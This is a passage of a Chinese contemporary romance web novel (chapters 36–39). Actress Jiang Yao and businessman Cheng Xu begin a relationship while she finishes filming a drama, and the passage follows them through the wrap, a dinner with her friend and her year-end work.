下一秒，手上的手机响了起来，来自联系人“程老师”。她反扣着屏幕跟剧组人道别，走到一旁接起了电话。
晚上的气温有点低，风吹在脸上，带来丝丝凉意，抚平她颊上蹿升的热意。
江遥“喂”了一声，那面立马有人回应：“嗯，我在。”隔着电流，他的声音似乎比平常多了一丝人情味。
听筒里夹杂着阵阵嘈杂声，听起来像是在街道上。他跟她说了声“稍等会儿”，之后隐隐约约有脚步声传来，不算重，在这样的夜晚，一声声踏破寂静，像是鼓点，渐渐与她心跳的节拍相和。两人谁也没有说话，她握着手机，看着不远处的灯火出神。
过了会儿，应该是到了僻静点的地方，背景音清净许多。脚步声停下，他的声音带着点迟疑，确认她是否在听：“江遥？”
“嗯，我在。”她拢了拢被风吹散的头发，回答他。
他算了算时间，问：“你到酒店了？”也许是走得太急，还带着微微喘息。
“刚到，还在门口。”
她凭着一瞬间的冲动发下那条信息，却不知如何继续下去这话题，电话里静了会儿，两人谁也没有说话，他也没问她有什么事情。一阵沉默后，他跟她说：“外面冷，早点进去休息。”
她闷闷点头，却始终没有按下挂断键，听着他的呼吸声，忍不住在脑海里勾勒他此时的情景。
隐隐听到有人在叫他的名字，她让他先去忙，他“嗯”了一下，却没有挂电话。过了两秒，清冷的嗓音传来：“那……晚安。”像情人的低喃。
突然，耳畔的风好似蝴蝶扇动的翅膀，在她的心底掀起巨浪，鼓噪着的渴望探头而出，她忍不住出声叫住他：“程绪。”
“嗯。”他还是乖乖回应，看不到表情，倒像是一只任人宰割的小白兔。
江遥看着自己伸出魔爪，出声诱惑：“要不要在一起试试？”她用着疑问的语调，心里却有着一种莫名的笃定。
程绪的声音听起来很冷静，他跟她确认：“我们？”
江遥肯定点点头：“对，我们。”
都说冬天是适合恋爱的季节，虽然宛城现在温暖如春，她觉得这理论应该也同样适用。
试试吧，就算坚持不到下个冬天来临
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，谁叫他，偏要总来她跟前晃呢，像一只袒露肚皮的小狗，毫无防备地像她索求怜惜，而她的自制力——最近她很怀疑，自己是否有这样一种东西。
栽过一个跟头后，这么多年她都警醒自己，不要再随心所欲，她岌岌可危的事业也并不允许她将精力放在别处。压抑了这么多年，害得乔女士总担心她孤独终老，到现在她才恍然大悟，只是之前没有那个合心意的人出现罢了。
不管他是无聊也好，空虚也罢，至少，确实很可人不是吗。
做下这个决定，那些被强行丢弃在脑海深处的杂乱念头，突然就停止了舞动。原来，她是想要他看向她的。
她勾起唇角，等待他的回应。
果然没让她等太久。他声音轻轻：“等我回来再告诉你，好不好？”
她唇角的笑意僵住，声音却还是轻快的：“好啊，你那边工作什么时候结束？”
“最多一星期。”
“那等你回来再说。”
“好。”
江遥看了眼手机，时间确实已经不早，直接终止了话题，“你去忙吧，我也要回房了。”
那边还是答一个好，她按下挂断。
在沙发上躺了会儿，爬起来收拾衣服去洗漱。明天早起，得赶紧休息。
从浴室出来，她边擦着头发，边拿起放在桌上的手机设闹钟。微信有一条新的信息提醒，她有点预感，点进对话框，果然。
C：「晚安。」
她回他：「嗯，就睡了。」
第二天江遥被闹钟吵醒，徐婉宁还是一副将醒未醒的表情，在车上抓紧时间补觉，江遥看着窗外浓黑的夜色，不知道在想着什么。
上午有场戏是男主真面目被揭露后，和表妹坦白的场景，江遥在一旁看着，原本儒雅的读书人，突然露出阴狠的表情，控诉着自己遭遇的种种不公，爆发戏情绪张力给得非常足。
时至今日，魏林还是客气地称呼她为“江老师”，逢人三分笑，大家私下谈起，都说在他这个年纪的人里，这样的为人处事算得上很难得。等他的戏上了，应该会收获一些关注。
一场戏结束，魏林凑到监视器前回看了下自己的表现，可能是不太满意，眉头微蹙着，看到一旁的江遥，恭敬叫了声“江老师”。
卢亮自觉算是挑剔的人，没想到碰到几个更加吹毛求疵的演员，倒逼着自己每天不得不打起十二分精神。
下午拍完转场，拍摄地在寨子脚下不远的村落，简单搭的几间茅草房，是男主的家。书生为了一己私利引贼入室，孙二得到消息，带着兄弟们前往救援。
改妆换衣服的间隙里，江遥拿起手机扫了眼，没什么重要信息。
孙二一身骑装纵马而来，手里还握着马鞭，把村民们吓了好大一跳。整个下午，他们就在这个村落里说服和安抚村民，检查布防。接下来，还有一场硬仗要打。
片场外，黑色的汽车将要和夜色融为一体。男人拿着手机，不知道低头在给谁发消息。
兜里的手机轻响，在喊声震天的村子里，无声无息。小鱼看了眼场中指挥若定的人，蹲在一边刷起了视频。今晚至少还得几小时才收工。
36. 分手预告
晚上剧组换景，中间有半小时时间休息。
戏里已是初夏，戏服都是单薄的料子。江遥从打斗中下来，背上还黏着一层汗，风吹过来，又有点凉。小鱼拿了外套为她披上，小心翼翼，生怕蹭花她的妆。
经过一场打杀，她脸上已经基本辨不出本来的模样，汗水血水混杂着，只露出一双清亮的眼。
周围吵吵嚷嚷，小鱼递了袋零食过来，让她抓紧时间填一填肚子。今天时间实在太赶，他们还没正式吃上晚餐。
江遥接过，撕开包装一角，戳进微信，三小时前，程绪发了张图片。手指悬在屏幕上方，她脑海里已经自动给出了几个答案，食物？风景？或者是工作的场景？
戳进对话框，往嘴里喂食的动作突然停下。
小鱼看她一手拿着手机一手拿着零食，莫名卡在了那里，以为是有什么不舒服，急忙凑过身子，看了看她的脸色：“怎么了？”
像是得到指令的机器人，江遥猛地一下站了起来，往前走了几步，又回头交代她：“我出去一下。”
身上的汗意慢慢冷却，她的心却开始雀跃。
微信上，他发了张照片。
上午刚骑着马从那儿经过，江遥一眼认出，却只觉得不可置信。
看天色，应该是傍晚时分，天边还有最后一丝亮色。而现在，月亮已经高悬。
树木掩映下，黑色的汽车静静停在外围，不刻意找寻，压根发现不了。江遥慢慢走过去，车里的人已经发现了她的靠近。
他开门下车，快步向她走了过来。
她停住步子，看着他一步步靠近。还是一身黑衣，头发被风吹起，让冷硬的人，有了柔软的弧度。他身高腿长，几步就迈到了她跟前，像是暗夜里，专为她而开的花。
江遥晃了晃手机，告诉他：“我只能出来20分钟。”
又问：“你怎么来了？”
不是说要一星期才回吗。
程绪“嗯”了一声，为她打开车门，江遥低头看了看自己脏兮兮的衣服，身上还粘着血浆，踟躇着：“别弄脏你的车。”
“没事。”他侧身来护她上车。既然他都不介意，江遥也不再推却。等会儿还有几个小时的戏，她确实需要缓缓。
时隔两天，两人又并排坐在了这辆车的后排，气氛却已经发生了天翻地覆的转变。江遥觑了眼走开的司机，是个生脸。
程绪解释：“杨越还有工作在处理。”
“阿嚏！”杨越突然打了个喷嚏，心说难道是要感冒了？管不了那么多，他揉了揉鼻子，埋头继续手头的工作，过两天有个年度合作要谈，还有些最后的细节需要梳理确认。虽然老板临时跑路，但为了翻倍的年终奖，多跑几次也未尝不可。
江遥点点头，没细问他们的工作内容，作为同行两人倒是可以聊聊，虽然他的工作高度已经是她目前难以企及的程度。资本市场的纠葛，她却不想过多关注。
她问：“那你还得过去？”
他点了点头：“晚点就走。”
昨天下午刚落地，今天下午又出现在宛城片场，晚上还得搭深夜航班离开。他没多说，仿佛并没有什么。这种事，她只有年轻的时候才干得出来。
他捧了个小蛋糕递到她眼前：“饿了吗？先垫垫。”
包装很眼熟，是宛城一家有名的甜品屋，每天都大排长龙，还有人特意跨城来打卡。
江遥看了看自己手中的小零食，心里天人交战，最后还是理智险胜，她听到自己的声音说：“我吃不了那么多。”拖长着声音，倒有那么点恋恋不舍的意味。
“没事，能吃多少吃多少。”他伸出的手没有收回的意思，可口的蛋糕在她的眼前打转。
确实是饿了，也馋，江遥伸手接过：“谢谢。”
以前来宛城工作，她都会带上一份这家的主推款。奈何这次距离太远，还没有吃上。她本来打算留来给自己当杀青礼物。
程绪当然不知道这些，他安静地倚在一旁，侧着身子看向她，她的衣摆一角落在他身上。距离很近，他身上的气息和蛋糕的香味混合在一起，她笑着咬下一口。嗯，都是她喜欢的味道。
到底是晚上，她吃了一半就放下了，程绪接过盘子，抽了张纸巾给她。
他手上端着半块没吃完的蛋糕，也不说话，脸上还是一如既往看不出什么神色，整个人冷冰冰的，和香甜松软的蛋糕一点都不搭，莫名有些好笑。
跨越半个地球跑过来，就这么默默坐在这里看她吃东西。江遥有些无奈，平常看他这样，一般人也不敢接近吧，不知道的还以为得罪了他。可明明，是他找来的啊。
看了眼时间，还剩七分钟，她想说自己得回去了，说出来却变成了：“你没什么跟我说的吗？”
程绪看着她的动作，看着她张口，知道她马上要走。
话出口的瞬间，江遥只恨不能立马撤回，这欲盖弥彰的劲儿，想遮都遮不住。
她干脆放弃遮掩什么，就这么直勾勾望着他，等他回答。
连续几个大夜，她的眼里有着细细的血丝，眼底的疲惫被粉底遮盖住。
江遥能感觉到，他的视线在自己的脸上打转，欲言又止的样子，生怕他说出什么了不得的话。
他的手拂上她的头发，手指顺着发丝往下，她心里一紧。
脑海里想法一个个飞过，现实她却完全忘了动作，他的手指还在下滑，还好，昨晚她刚洗了头发，应该不会有太大味道。
程绪替她理好贴在脸侧的发丝，淡声交代道：“收工回去早点休息。”
江遥心里正暗暗蓄力，随着他的话音落地，像是暗自准备迎接致命一击的拳手，对手的拳头却挥向了空气，打了她一个措手不及。她怔了怔：“就这样？”
程绪唇角微弯：“嗯。”
时间还剩五分钟，江遥收拾好心情，伸手推门。
“在一起吧，江遥。”清冽的嗓音突然响起，像是被化开的湖面，冰层下，湖水已经不知何时偷染上春天的气息。
江遥回头望来，猝不及防撞进一双漆黑的眼里。
他凝着她，声调轻扬：“好不好？”
怎么会有人这样，不说话时像个哑巴，说起来又这么……不顾别人死活。
心中腹诽，嘴边的笑意却已经再难压住，江遥笑着，朝他点了点头。
空气静默一
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瞬，程绪眸色深深，回应她最初的疑问。
——你怎么来了？
“我来探女朋友的班。”
江遥怀疑是不是自己太久没恋爱，或者是他道行太深，简单一个对视、一句陈述，都有点招架不住，只好匆匆跟他说：“看也看过了，那我走了哦。”
嗓音温软，像是在撒娇。
她推门下车，叮嘱他路上注意安全，不要再来回跑了，他一一应着。
“给我吧，等会儿顺手丢了。”她向他伸手，让他把没吃完的蛋糕递一下。
“没关系，我来收拾就好。”
时间还剩三分钟，小鱼已经在微信问她到了哪里，确实没必要浪费时间跟他在这争抢一份垃圾的处理。她匆匆挥了挥手，跑进了黑暗里。
脚步声远去，片场里传来阵阵喧闹声，车里静默得落针可闻。
一会儿又有声音从远处跑来，他按下车窗，见她已经冲到了面前，扶着车框探头进来，笑着跟他挥手：“下次见，男朋友。”
车里，剩下的半块蛋糕和他相对沉默，主人已经不见了踪迹，空气里满是甜腻的气息。程绪拿起勺子，将它塞进了嘴里。
“走吧。”他交代司机。
司机老王还沉浸在自己的思绪里，听到声音，慢了半拍才应声，启动车子，向着机场开去。他们得去赶凌晨的飞机。
上次李总带的太太烤的小蛋糕，最后可都是进了他女儿的肚子。不是说不喜欢吃太腻的东西吗，他心里嘟囔，难道是这家店的特别不一样？值得老板专门绕道去一趟。
老王越想越觉得有道理，老板都舍不得浪费的东西，哄女儿应该绰绰有余了。酣睡中的小姑娘，并不知道自己的下一个生日礼物被就此定下。
他看了眼后排的男人，温声提醒：“您休息会儿。”几天连轴转，是铁人也得累了。
程绪闻声闭上了眼睛，脑子里却仿佛有声音在立体循环，脏脏的脸上带着狡黠的笑。他手指微动，又轻轻攥紧。
江遥踩着点冲进来，一身骑装倒方便了她奔跑。小鱼很少见她这么着急忙慌的样子，她总是早早就到片场准备，从不迟到早退。看来还是美色误人呐。
虽然江遥没有明说，但她也没有特意避着她什么，她和程绪的关系，自从上次之后，应该迎来了新转折。不过那人，不是出差去了吗。是她不懂了。
收工已经是凌晨，卸妆的时候，江遥看着镜子里的自己，血乎乎的脸上就一双眼睛还能看，想到自己就是这么幅模样兴冲冲坐到了他车上，不由失笑。
戳进微信，想问问他到了哪里，结果他已经主动报备，看时间现在应该是在飞机上。
她也给他打卡报备：「下班。」
明天也是满戏，等他回来她应该差不多也快杀青了，再之后就是准备迎接新的一年。年底各种活动，不知道他有没有安排呢？
小鱼已经困得要睁不开眼，看她拍了一天的戏，还在戳着手机，自叹不如，伸手比了个大拇指：“牛逼。”
旁边的魏林听到他们调笑，也加入了对话：“江老师身体素质不错。”
小鱼腹诽：其实并没有，只是爱情让人盲目。
37. 分手预告
和预想的一样，接下来都是天昏地暗的忙碌，江遥甚至感觉，自己已经很久没有被这么上过强度了。
在她人人可踩的时候，很多剧组也是躲着她走的。有的碍于以前的交情，不好意思直接翻脸无情，但久了，她也知道不为难别人。
后来，她也会接一些有挑战性的配角来演，可平平无奇的故事里，就算奉献九十分的演技，也无人愿意将目光停留在她身上，只空口说着她会拉低整部戏的质量。
她珍惜这种忙着的感觉。
程绪应该也很忙，但一直都在坚持跟她打卡，不算频繁，但从未中断。像是每天一定寄达的电子明信片，短短几天，已经累积了一叠。
最初两人隔着时差，早晨起来，拿起手机就能看到他的消息，一些日常问候和行程报备，江遥空的时候会一一回复，碰到感兴趣的还会多问几句。晚上收工，也一定有他的叮咛。有时候她甚至有种错觉，两人还没开始热恋，就已经进入了心如止水的相处模式。
前两天他回国，本来计划落地宛城，江遥回了个无奈的表情包，故意给他发：「要不要这么粘人啊。」
后来他倒也没再坚持，昨天被人在机场偶遇，还闹上了热搜。当然这也是小鱼告诉她的。
除了空了回下必要的信息，她压根就没时间关注太多。
据说网上她的风评最近好转了许多，吸到了一部分粉丝，也多了些路人为她说话。
其实他们不知道的是，连瑶池CP粉都划分成了两拨，有人嗑爱情，有人嗑友情，经历高峰低谷还能继续相伴，在快节奏的年代里，让人不知不觉怀念起曾经身边的那个人。因为容易有代入感，所以嗑得更加起劲。
这天早起，小鱼夸张地跟她同步，有杂志邀请她出席年度盛典。每到年底都是各大平台展示成果的舞台，从活动策划到出席嘉宾，都能被换着角度PK个几百轮，嘉宾的咖位，无形中也能彰显主办方的身份。能受邀出席这类活动，大小也算个腕儿了。
江遥看她手舞足蹈的模样，知道她是为自己高兴，不忍心扫兴，只推说等杀青后再定。
最后一天大夜，大家身体都已经疲惫到极点，全靠精神支撑着。正是困乏的时候，只听到有人喊：“大家停一下，来喝杯咖啡醒醒神，江老师请客。”落在众人耳里，犹如天籁之音。
江遥自己还懵着，就听到四周爆发的欢呼声，大家开心地从她身边跑过，留下一句句此起彼伏的“谢谢江老师”。
有人捧着咖啡暖着手，惊喜地发现另一辆餐车上还有夜宵：“江老师也太贴心了吧！”
江遥看着站在一旁给大家分东西的小鱼，自己都没搞清状况，待她忙完，直接将她截住了：“说吧，宴池还是汪静静？”知道她最近天天熬夜加班的总归也就那么几个人。
小鱼笑着摇了摇头，打趣她：“如果知道你第一个想到的是宴池，有的人估计要不开心了。”
还不是宴池非让她陪他出席年底的活动，微信不回就一直发，她还以为这家伙忙着献殷勤呢。
不过经她一提醒，她倒是反应了过来，某个人好像下午才问过她今天几点收工。
她捧着咖啡拍了张照片发给他，他回复很快：「还要拍多久？」
江遥回：「两小时左右，看运气。」如果碰到谁状态不好，也只能一起陪着熬。
有人在喊她，江遥收了手机，过去跟人说话。后天上午就杀青了，之后大家应该也难得凑在一起，这片刻休闲时光，倒格外温情脉脉。
在这样的场景里，有人忍不住展望起新剧的成绩。虽然开拍前班子都差点拉不起来，服化道也算不上精致，但大家已经贡献出了自己目前最好的一面。
说着说着，倒有了点伤感。有人咂了一口咖啡，笑着调侃：“我看咱们这组是有福气的，戏还没拍完就红了俩。”
指的是江遥和魏林。
魏林年初拍的网剧积压了近一年，前几天终于上了，很多人如发现沧海遗珠般，大呼小网剧里竟然还有这样牛逼的演技。虽然和如日中天的大流量没法比，但总比之前全员糊糊的好多了，也算是有了些水花。
而江遥不必说，原本就有一些粉丝基础，目前风评好转许多。等剧上了，作为男女主，也总会给他俩带点热度。
徐婉宁端着夜宵从后方过来，拍了拍她的肩膀，夸张地道：“遥遥姐，苟富贵，勿相忘哦。”
果然怕什么来什么，有场孙二和官兵的对手戏，对手演员怎么也找不到状态，江遥只好一边说着没关系一边陪着他顺词、找感觉，努力调动自己的状态，让搭档入戏。卡了三遍终于过了，这时已经是凌晨三点。
收工后，她直接倒头在车上睡了过去。早上起来，才看到程绪在凌晨三点，给她道了晚安。
江遥没有回复，很快就能见面了，她想。
全组杀青，江遥和大家一一鞠躬握手，感谢这么久以来对自己的照顾。
徐婉宁抱着她依依不舍，说着道别的话，又板起脸来威胁她，以后发达了记得提携她，到最后，倒把自己说哭了。江遥拍了拍她的肩膀，不知如何说出口安慰的话。
年少的时候，大家喜欢做郑重的告别，等到后来，却在一次次离散中体悟出来，聚散离合，本为常态。但不管站在哪个时间节点回望，这样炽热的感情，都无比珍重。她眨了眨眼睛，试图压下眼底的酸涩。
导演卢亮拿着喇叭，站在场中大声指挥着什么，江遥想起第一次见他的时候，他还恨不得找个洞躲起来，而现在，已经明显长进了很多，当然，你得跟他聊工作相关的。
没想到他却不经夸，她刚刚在心底为他的成长点赞，不远处的男人，声音却开始打颤：“谢谢大家的信任，让我们有机会聚在一起，为着同一个故事的落地而努力。这是我拍的第一部戏，但我相信绝不是最后一部。”
说到这里，他掏出张纸巾，狠狠地擤了下鼻涕，声音通过扩音器传到每个人耳里。
“咦~”有人故意面露嫌弃，大声喊道：“导演，你要不要这么放飞自我啊？”
“给自己留点面子吧求求了。”
卢亮没管众人的打趣，笑了笑，却笑得比哭还难看：“我知道，这个故事并不完美，但我已经交出了最好的自己。未来的卢亮会收获更多属于他的成绩，而现在
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的一切，是完全属于此时的我的，盛大的惊喜。相信你们也一样。”
江遥一贯适应不了这种场合，忍不住眼眶泛红，徐婉宁哭着给她递了张纸巾。不管将来的江遥能拥有什么，此刻我也已经竭尽所能了。她跟自己说。
想发的照片九宫格放不下，她挑出剧组的大合照，以及自己抱着捧花的照片，还有一张和徐婉宁的双人照，点击发送：“收工[开心]”
晚上剧组聚餐，汪静静打来电话，饭馆里太吵，她拿起手机到门口去接。
这家店是导演朋友开的，本身环境清幽，今天却意外地热火朝天，此刻站在外边，里面的吵嚷声清晰传来，恍惚又回到了寨子中纵情恣意的时候。江遥悄悄为老板捏一把汗，还好今天不接待外客。
她在侧门边停下，听着汪静静在那头问：“明天几点到，我来接你吃饭。”
汪静静前不久刚杀青，休息两天又开始觉得无聊，每天有事没事骚扰她一下，也不指望她回答。偶尔看到个什么八卦，一定第一时间喊她吃瓜。
江遥还没订机票，只说定了时间再通知她。
汪静静在那边抱怨着，怎么这几天给她发的信息都石沉大海了，问她是不是有了新欢。
江遥参加的两期综艺她都有看，看到她人气回升还交到了新朋友，故意跟她打趣。
江遥立马道歉：“实在累晕了要，这次我请客。”
“好吧，暂且就原谅你这回。”汪静静很好说话。
挂断电话，江遥点进微信，上下翻了翻，看看是否还有漏掉的消息。
宴池还在软磨硬泡，让她当自己的女伴。江遥何尝看不出他是想给自己增加曝光机会，不然就凭宴池如今的声量，怎会缺想和他合体走红毯的搭档。
和程绪的对话框还停留在昨天凌晨，一句孤零零的“晚安”挂在那，之后再没人说话。
江遥主动勾搭：「在干什么？」
等了几分钟，没有回复。她关上手机，重新进了屋。
徐婉宁端着酒杯过来找她唠嗑，大家又一起给导演敬酒，气氛上头，明天又没工作，江遥来者不拒。等散场的时候，才意识到自己有点喝高了。意识很清醒，但情绪不对劲。
有人当晚就离开，江遥站在门口用力和他们挥手。小鱼看着明显亢奋的女人，觉得有点稀奇。她还没见过她大醉的时候。
不管局势多么艰难，她一向懂得适可而止，不在酒桌上逞能，实在谈不妥也不会强求。像现在这样微醺的情况，其实也少有。
饭馆离住处不远，两人聊着天一起往回走。月亮躲进了云后，风也还算柔和，带来微微冷意，并不刺人。
他们谈起之后的安排，江遥意识清醒，脸上的笑容却没有停，有点不太正常的兴奋。小鱼问她X杂志年度盛典到底是怎么考虑，江遥想了想最终还是答应了。汪静静也会出席，到时候可以一起。
第二天下午落地后，还是汪静静开车来接。
其实昨晚回去后跟程绪发消息，他有提出要来接机，但被江遥拒绝了。之前见识过他出现在机场的盛况，她可不想一起上头条，还是安全起见为好。
38. 分手预告
几个月没见，汪静静开车技术突飞猛进。
江遥先回家放行李，家里已经提前请人清扫了一遍。汪静静在门口换鞋，嘴里还不忘继续游说：“要不去我那住两天，正好一起跨个年。”
他们住的其实不算远，就是行程总是对不上。以前是江遥太忙，等她闲下来的时候，汪静静又开始忙了起来。
“再看吧。”江遥瘫在沙发上，声音懒散。
昨晚她精神亢奋，熬到很晚才睡，直到现在整个人还有点恹恹的，只想窝在家里倒头再睡几天。
他们最后选了一家火锅店，冬天的店里，人满为患。两人全副武装，从侧门直接上了二楼的包厢。
汪静静是这里的常客，侍应生已经和她相熟，递过iPad点餐的时候，问她怎么好久不来了。
汪静静说新剧刚杀青没多久，这不马上带朋友来捧场了。
侍应生很替她开心：“咱们静静姐现在可是真火了，昨天我还在电梯里看到你广告呢。”
江遥在一旁笑。
其实她说得没错，今年汪静静事业更上一层楼，接到的角色戏份更多了，也陆续有一些小代言入账。
两人边吃边聊，江遥问她X杂志的活动两人要不要一起出场，汪静静却说可能不太方便。
她有一部戏在播，男女主她逃他追的戏码没产生什么水花，她一个女四号的CP却意外有了点反响，剧组应该会安排她和戏里的CP一起走红毯，给剧增加曝光量。
江遥点了点头，夹了一筷子肉下锅，摆在桌上的手机响了一声。
是程绪发来的消息，问她到家没有，吃饭了么。
江遥拍了一张照片发过去：「正在。」
吃完又和汪静静聊了许久，直到九点半才收拾东西准备撤。
汪静静先去取车，几分钟后，江遥穿上外套，拎着包往外走。
在宛城待了几个月，一出机场她就被A城的冷空气给了个下马威，出门吃饭前特意翻出了件压箱底的厚袄子，浑身裹得毛绒绒的。这会儿口罩帽子遮住了大半张脸，在路边找了个避风处等着。
周颂吃饱喝足，嘴巴又开始闲不下来：“哥，你接下来有什么安排，要不要上我家跨年？叫上齐淮他们，一起热闹热闹。”
旁边的人心不在焉：“应该没空。”
周颂不信，一脸得意地说：“我可提前打听过了，你从国外回来又接连开了几天会，事情都已经被处理了个差不多，接下来空着呢。”
“而且昨天喊你吃饭你也说没空，这不今天就空了吗？”
程绪看了他一眼，无奈道：“有时间再跟你说。”
见他话没有说绝，周颂又开心了起来：“我去拿车。”
哼着歌走到车边，一个姑娘正站在他车前，一脸为难的样子。看起来还有那么一丝丝眼熟。
终于把车主给盼来了，汪静静喜形于色，一溜烟从车里钻了出来，让他赶紧把车挪挪。
本来来的时候还好好的，刚好有人吃完走，她很幸运占到了一个车位。没想到吃完来取车，远远又看到了辆骚包的粉色跑车，走近一看，就是之前在机场见过的那辆，车牌号都嚣张得一模一样，停得那叫一个肆意张扬，最不巧的是，刚好又停在她车旁。
汪静静站在两台车中央，用三秒衡量了一下自己的驾驶技术，决定还是不自找罪受。这种只能交给天意的事情，她可不敢赌。
江遥等了几分钟，都没看到汪静静的车子开过来过来，搓了搓手，掏出手机准备给她打个电话问问，才看到她几分钟前给她发了条消息：「碰到点事儿，你晚点再下来。」
她又把手机揣进兜里，四处望了望，想看看附近是否有什么便利店可以暂时容她避一下。
程绪出来的时候，就看到一个裹得像棕熊一样的女人，在路边的阴影里抬头张望。她的脸完全陷在了衣服的绒毛里，但很神奇，他一眼就认了出来。
江遥还没选好新的落脚点，就听到身后有脚步声传来，她往里侧让了让，给人留出更宽的空间过路。
脚步声停在她的身侧，不动了。
就她这装扮，应该不用担心被人认出。江遥抬头去看，不同于之前常见上身的黑色系，今天他穿着一件咖色羊绒大衣，这么静静站着，就像商场海报里的男模。
眼前的男模垂眼将她望着，江遥张张嘴，想问他怎么会在这儿。
话到了嘴边，又被她强行咽了下去。可能是他已经预见到了这一天，所以提前给了标准答案。
想念。她在舌尖细细咀嚼着这个词汇，却还不知该为它赋上哪一种味道。
感觉自己的脑子都快被冻住，她望着他大敞的前襟，讷讷开口：“你不冷么？”
程绪摇摇头。
江遥不信，下意识伸手过来想探他的温度。出门时她抱怨太冷，汪静静看着她裹得厚厚的一身，就是这么摸着她的手好一顿揉搓。
伸到半途，才发现他双手插在口袋里，根本无处下手。
程绪仿佛猜到她的想法，懒懒从口袋里抽出一只手，伸到面前任她动作。江遥试探着摸上他的指尖，修长的指节，确实热气十足。
摸上去才意识到不对，手正想往回缩，却被他翻手覆住，无处逃脱，带着她的一起，收进了大衣的口袋里。
这件看起来版型很好的大衣，原来料子也很软和。
宽大的手掌轻轻握住了她的手，热意从右手相接处蔓延开来，流遍全身的筋脉，身子一点点暖了起来。她想挣脱，又被这片刻的温暖俘获，就这么干脆地任他握着。
程绪问起她明天的安排，江遥脑筋没转过弯来，诚实地告诉他：“可能先睡两天，感觉好久没睡过饱觉了。”
又怕耽误他工作，主动说：“你年底是不是挺忙的，忙的话可以先不用管我。”
程绪捏了捏她的手：“那你睡饱了联系我。”江遥点点头。
不远处有车开过来，一辆粉色的跑车在前打头，后面是汪静静姗姗来迟。江遥看到车灯打过来，下意识将手往外抽，握着她的手却纹丝不动，她疑惑地抬头，眼底有着显而易见的着急。
程绪慢慢松开紧握的手，手中的温度瞬间抽离，从热意里又重新坠入了冰天雪地。
周颂将车停稳：“哥，快上车。”看到站在一侧的江遥，又开心得像见到了什么宝贝似的：“嗨，江老师，咱们又
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见面了。”
江遥淡淡看了跑车里的男人一眼，对他的热情莫名其妙，矜持地点点头。
又回头冲着对面安静的男人笑了笑，带了一丝安抚的味道：“程老师，那我先走了。”
她声音轻柔，他蜷了蜷虚握的手指，慢慢收拢成拳：“嗯，下次见。”
上车后汪静静跟她吐槽，自己短短时间里遭遇了什么。
看到周颂的那一刻，她其实就认出了他。没想到他打量她片刻，也突然想起了什么似的：“我知道你，江遥的朋友对不对！我们之前在餐馆碰见过的！”
其实不怪他记性好，只怪齐淮最近在他面前提了太多次江遥，他门口那么一撞，倒给齐淮撞出了一个满意的角色，让他成功讹了他一笔大的。
怕江遥等太久，汪静静礼貌打了个招呼就上了车，对这少爷做派的男人并没有太好的印象。
江遥想了下周颂那张扬的模样，看来那两人关系确实还不错，两次吃饭都被她撞到。
车子已经开出了几公里，汪静静终于回过味来，后知后觉：“所以上次那个男人也是他？”
江遥问：“什么？”
“就我之前跟你讲，有个超有型的男人上了那家伙的车。”
“秒杀娱乐圈歪瓜裂枣那个？”江遥想了起来，声音里带了丝笑。
汪静静点点头：“是我大意了。”
兜兜转转，人家本来就是圈子里的。不过就他本身，确实也足够拳打脚踢其他一众歪瓜裂枣了。
汪静静总结：“所以我的眼光确实还不错。”
江遥意有所指：“嗯，我姐妹的眼光自然是跟我不相上下的。”当然，这时的汪静静并不能get到其中的深意。
第二天江遥难得睡到自然醒，但和她预想的悠闲假期不一样，突然的工作安排打乱了她的计划。
X杂志年度盛典出席嘉宾已经官宣完毕，在一众男女艺人里，江遥咖位并不显眼，但她本人仿佛自带讨论度，黑的时候被黑到底，一朝翻身，来势汹汹。
有本二线杂志看中她的势头，主动邀封，希望赶在跨年前直接拍掉。一个美妆品牌也发来邀约，请她站台。所以江遥休息一天，又开始进入了工作状态。
这次封面拍摄，比《精品荟》那次要舒心很多，虽然敲定的时间很匆忙，但不管是拍摄还是采访，都维持在一个让人非常舒适的状态。工作人员说，是她给H&F拍的几组大片给了他们灵感，之前就上报过封面人选，直到最近才敲定下来，所以内容策划方面，他们其实早有准备。
而另一个站台活动，甲方是江遥平常就爱用的品牌，她曾经也在微博上分享过。活动现场，主持人功课做得很足，从她和品牌的缘分说到了两者的契合，又从新品特点说到了期待她新剧播出。
活动在商场举办，下午的活动，有粉丝上午就在商场蹲，所以后来散场时，有人追着来祝她新年快乐的时候，她也笑着一一回应了。
回到家已经是晚上八点半，脱掉鞋子，百无聊赖地刷着朋友圈，虽然在采访和活动现场，已经说过许多次对新年的祝福和展望，但直到这一刻，她才真正意识到，这一年已经走到了终点。
39. 分手预告
发的信息都被推掉了，周颂直接杀到了程绪办公室，人还没坐下话就已经落了地：“哥，怎么说，明晚真不跟我们一起聚聚？”
程绪没有抬头，还是那个理由：“有安排了。”
周颂是真想不通：“你往年不是工作就是跟我们一起过，还能有什么别的事？”
明明前几天已经将工作收尾的人，这几天又在办公室扎了根。
杨越看着手机里的视频，江遥正握着话筒，笑意盈盈地送着新年祝福，说完下面一片欢呼，大声回应“新年快乐”，好一个其乐融融，和结霜的办公室简直是两个世界。他连忙摘下一只耳机，将视频声音调小，生怕耳机漏音刺激到某人，那他的新年可能就不太快乐了。
小鱼明天和朋友有约，这会儿已经在朋友圈晒起了出发的机票；宴池是晚会的常客，跨年晚会的行程早早定下，琴姐朋友圈二十分钟前刚刚发了一张他的彩排照；汪静静知道她忙，另外做了计划。
其实她的工作只安排到了三十号，但有个人，已经被她冷落了好几天。江遥抿唇笑了笑，从列表找到“程老师”，点进对话框，消息界面还停留在早上，他问：「几点收工，接你吃饭？」
她回：「估计挺晚，不用了。」
他还是那句：「行，你空了联系我。」
上次见面时说空了联系，没想到中途意外插了两个工作进来，他越若无其事，江遥看着这句话越心虚。明明他才是大忙人，怎么搞得好像就等她空档似的。
之前两人还一起吃过几顿饭，她也是没想到确定关系后，连顿饭都还没有约上过。剧组赶工时以为杀青就好，谁知道杀青后几天也得接着忙。
她想了想，给他发：「明天我们去约会吧。」
桌上的手机响了一声，某个消失的人终于上线，程绪慢悠悠回复了几个字，又跟对面赖着不走的周颂说：“明天真有事，过几天陪你玩。”
周颂垮着个脸，知道确实已经无法改变，反应过来又向他控诉：“你怎么跟哄小孩似的！”
却只见程绪已经起身，拿了外套径直往外走。路过杨越，敲了敲他桌面：“早点下班。”
见这尊大佛终于要走了，杨越长长舒了一口气。周颂连忙跟上：“哥，我送你。”
程绪家周颂早已经熟门熟路，到家自己拿了拖鞋换上，屋子面积很大，和他上次来时并没有什么变化。放眼望去全是冷色调，置身其中，仿佛迈入了某个高级商务宴会厅。尽管来过许多次，他还是忍不住想给他动手改造改造，知道说了也白说，又将话咽了回去。
